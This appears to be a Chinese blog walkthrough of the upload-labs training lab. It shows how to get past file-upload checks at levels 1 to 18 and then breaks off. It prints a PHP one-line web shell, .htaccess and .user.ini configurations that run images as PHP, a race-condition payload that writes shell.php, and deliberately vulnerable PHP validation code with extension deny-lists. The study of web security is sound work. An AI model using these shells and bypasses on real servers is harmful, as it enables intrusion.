文件上传

本文最后更新于:10 个月前

uploads-labs

level1

创建一个eval.php:

1
<?php eval($_POST['cmd']);?>

被警告了,看一眼前端代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<script type="text/javascript">
function checkFile() {
var file = document.getElementsByName('upload_file')[0].value;
if (file == null || file == "") {
alert("请选择要上传的文件!");
return false;
}
//定义允许上传的文件类型
var allow_ext = ".jpg|.png|.gif";
//提取上传文件的类型
var ext_name = file.substring(file.lastIndexOf("."));
//判断上传文件类型是否允许上传
if (allow_ext.indexOf(ext_name) == -1) {
var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
alert(errMsg);
return false;
}
}
</script>

前端检验后缀,把eval.php重命名为eval.jpg,bp抓包,改文件名,放行:

蚁剑连接:

level2

同上题一样的改包姿势行不通,不是前端验证,这里存在后端MEME验证,

这次改Content-Type为允许的类型来绕过

蚁剑连接

看一眼后端是怎么验证的:

1
2
3
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')){
//TODO
}

level3

这次上传php木马后成这样:

常见替代.php后缀有php(1-8),pHp(1-8),phtml等等:

,这里设了个黑名单

1
2
3
4
5
6
7
$deny_ext = array('.asp','.aspx','.php','.jsp');
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空

重命名eval.php为eval.phtml,上传

level4

emmm,常见的后缀基本上都被过滤了。。

1
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");

,但是还是后端后缀检查,没过滤.htaccess,传一个.htaccess,将jpg后缀解析为php

1
2
3
<FilesMatch "eval.jpg">
SetHandler application/x-httpd-php
</FilesMatch>

或者如下将所有文件解析为php:

1
SetHandler application/x-httpd-php

或如下指定后缀解析为php

1
AddType application/x-httpd-php .jpg

再上传eval.jpg脚本,最后蚁剑连接,当然前几题也适用,蚁剑连接:

level5

这个连.htaccess也过滤了,最后统一转为小写再进行过滤。。。挺严格的哈,瞅一眼提示:

注意到upload里始终有一个readme.php,没过滤php7,也没过滤.ini可以上传.ini文件:

user.ini:(爱来自ChatGPT)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
user.ini : 自 PHP 5.3.0 起,PHP 支持基于每个目录的 .htaccess 风格的 INI 文件。此类文件仅被
CGI/FastCGI SAPI 处理。此功能使得 PECL 的 htscanner 扩展作废。如果使用 Apache,则用
.htaccess 文件有同样效果。

除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web
根目录($_SERVER['DOCUMENT_ROOT'] 所指定的)。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。

.user.ini 风格的 INI 文件中只有具有 PHP_INI_PERDIR 和 PHP_INI_USER 模式的 INI
设置可被识别。

两个新的 INI 指令,user_ini.filename 和 user_ini.cache_ttl 控制着用户 INI 文件的使用。

user_ini.filename 设定了 PHP 会在每个目录下搜寻的文件名;如果设定为空字符串则 PHP 不会搜寻。默认值是
.user.ini。

user_ini.cache_ttl 控制着重新读取用户 INI 文件的间隔时间。默认是 300 秒(5 分钟)。

1
2
3
auto_prepend_file 是 PHP 配置选项之一,用于指定一个在每个 PHP 文件执行之前自动包含(包含在头部)的文件。这个选项允许你在所有 PHP 脚本执行之前自动加载一些通用的代码或库,无需在每个脚本中手动包含。

例如,如果你有一些通用的函数、类或设置,希望在所有 PHP 脚本执行之前都要加载,你可以通过配置 auto_prepend_file 来实现。这样,你只需在一个地方定义这些共享的代码,而不必在每个脚本中都进行手动包含。

在user.ini添加以下内容:

1
auto_prepend_file=eval.jpg

在执行readme.php时会把eval.jpg的内容包含进去,

level6

没有进行小写转化且后缀过滤不够全面

1
2
3
4
5
6
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空

,钻phP后缀空子

上传完之后在源代码处找到上传文件路径

level7

和前面的关卡比起来,过滤中少了trim()空格过滤

上传成功后这里就懒得推算时间戳了(

level8

与前面的相比,缺少了deldot()函数对结尾点号进行过滤

再蚁剑连接

这么说点可以绕过的话,上面level5也可以用.php. .后缀来绕过力

level9

少了::$DATA

1
php在window的时候如果文件名+"::$DATA"会把::$DATA之后的数据当成文件流处理,不会检测后缀名,且保持"::$DATA"之前的文件名 他的目的就是不检查后缀名。

但是,我是Linux(

看别人操作(悲,等之后有机会碰到知道有这么一种姿势就行,(注意蚁剑连接时不用加$::DATA)

level10

1
2
3
4
5
6
7
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空

记得上面说的.php. .绕过罢

level11

惯例上传一个eval.php,嗯?居然没报错

看一眼源代码,发现后缀没了

不多说,双写绕过试一下:

看一眼过滤,果然替换后缀为空:

1
2
3
4
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess","ini");

$file_name = trim($_FILES['upload_file']['name']);
$file_name = str_ireplace($deny_ext,"", $file_name);

level12

上传了eval.jpg,观察网页源码时发现路径中多了个’/‘,

观察后端源代码,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
}
}

如果后缀不为jpg|png|gif就无法上传,根据他的逻辑,刚想试着构造多后缀突然想到也行不通

白名单+get00截断,自己学习了相关知识,由于对应的漏洞php版本较旧相关插件缺失没法复现,(另一个主要原因是懒)

level13

post00截断,链接同level12

level14

和之前有所不同,

查看源码,源码检查文件前两个字节,之前在readthedocs上看到过:

winhex,启动!!在一句话木马文件的开头修改字节为png的

图片马无法直接被当做木马被解析,因为本质上还是图片,要配合文件包含漏洞利用,上传成功了

获取一下文件名:

连接成功:

用cmd构造图片马参考文章

最后连接成的图片在winhex中打开结构和上面的图片马一样

level15

这题通过getimagesize()函数来获取图片类型,其原理依旧是通过获取文件前几个字节来判断,但是用上一题的png显示无法上传,找了个更全的文件头:

1
2
3
4
1.Png图片文件包括8字节:89 50 4E 47 0D 0A 1A 0A。即为 .PNG。
2.Jpg图片文件包括2字节:FF D8。
3.Gif图片文件包括6字节:47 49 46 38 39|37 61 。即为 GIF89(7)a。
4.Bmp图片文件包括2字节:42 4D。即为 BM。

前八个字节都改:

上传成功:

连接成功

level16

使用exif_imagetype()函数来获取文件类型,其原理也是通过读取文件头部信息(开头几个字节),那就好办了,和上题一样就行。

在使用时需要在php环境中启用php_exif拓展

level17

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){
// 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
$filename = $_FILES['upload_file']['name'];
$filetype = $_FILES['upload_file']['type'];
$tmpname = $_FILES['upload_file']['tmp_name'];

$target_path=UPLOAD_PATH.'/'.basename($filename);

// 获得上传文件的扩展名
$fileext= substr(strrchr($filename,"."),1);

//判断文件后缀与类型,合法才进行上传操作
if(($fileext == "jpg") && ($filetype=="image/jpeg")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefromjpeg($target_path);

if($im == false){
$msg = "该文件不是jpg格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".jpg";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagejpeg($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}

}else if(($fileext == "png") && ($filetype=="image/png")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefrompng($target_path);

if($im == false){
$msg = "该文件不是png格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".png";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagepng($im,$img_path);

@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}

}else if(($fileext == "gif") && ($filetype=="image/gif")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefromgif($target_path);
if($im == false){
$msg = "该文件不是gif格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".gif";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagegif($im,$img_path);

@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}
}else{
$msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
}
}

本题basename()函数用于返回文件路径中文件名部分的函数

imagecreatefromgif()创建一块画布,从gif地址加载gif图片;

然后经过二次渲染显示出来

原理是上传一张图片,然后再把图片下载下来,对比前后图片的十六进制码,(头部除外),对比前后hex码相同的位置,然后在其中插入木马,比如说这张gif(一般gif会比较容易插入)

然后修改这部分

得到:

level18

本题考察条件竞争:
看一眼源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$is_upload = false;
$msg = null;

if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_name = $_FILES['upload_file']['name'];
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_ext = substr($file_name,strrpos($file_name,".")+1);
$upload_file = UPLOAD_PATH . '/' . $file_name;

if(move_uploaded_file($temp_file, $upload_file)){
if(in_array($file_ext,$ext_arr)){
$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
rename($upload_file, $img_path);
$is_upload = true;
}else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
unlink($upload_file);
}
}else{
$msg = '上传出错!';
}
}

用文件名截取的方式来获取后缀,真就非图片后缀不可了?如果有文件包含漏洞还可以上传图片马,可是这道题并没有提供文件包含漏洞的。再看一眼源代码,可以看见如果错误文件上传后,其实是已经上传进服务器了的,但是之后如果不满足后缀就直接删除,服务器的一切行为都需要时间,如果我可以在服务器将文件删除之前,访问一个可以创建新文件的文件,那新文件一旦创建不是就不会被删除了吗?这就是条件竞争,在服务器没来得及删除文件之前先访问文件

这里使用fwrite()函数写入文件

1
<?php fwrite(fopen('shell.php','w'),'<?php eval($_POST["cmd"]); ?>');?>

将上述代码重命名为jz.php

bp抓包:

丢到爆破区,然后clear掉所有的爆破点,主要是为了不断上传文件

payload设置为空,不受限发包:

线程数调高点:

然后就开始攻击,不断重发包

同样的方法不断访问该文件

直到状态码出现200,就说明访问成功了,也就生成了shell.php

level19